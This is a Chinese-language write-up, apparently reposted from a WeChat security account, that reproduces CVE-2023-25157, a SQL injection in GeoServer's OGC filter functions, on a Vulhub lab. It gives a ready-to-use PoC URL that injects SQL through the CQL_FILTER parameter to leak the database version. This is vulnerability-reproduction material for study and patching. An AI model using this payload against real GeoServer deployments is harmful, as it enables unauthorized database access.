声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者和此公众号不为此承担任何责任。
一、搭建靶场
二、GeoServer介绍
GeoServer 是一个用 Java 编写的开源软件服务器,它提供了查看、编辑和共享地理空间数据的能力。它被设计为一种灵活、高效的解决方案,用于分发来自各种来源的地理空间数据,例如地理信息系统 (GIS) 数据库、基于 Web 的数据和个人数据集。
三、漏洞介绍
在 2.22.1 和 2.21.4 之前的版本中,在开放地理空间联盟 (OGC) 标准定义的筛选器和函数表达式中发现了 SQL 注入问题。
四、漏洞利用
首先,在利用此漏洞之前,必须找到包含 PostGIS 数据存储的现有工作空间。Vulhub 的 GeoServer 实例已经有一个 PostGIS 数据存储:
工作区名称:vulhub
数据存储名称:pg
功能类型(表)名称:example
要素类型的属性之一:name
五、POC
http://192.168.233.136:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
六、复现
原文始发于微信公众号(攻防学堂):CVE-2023-25157 GeoServer OGC 过滤器 SQL 注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论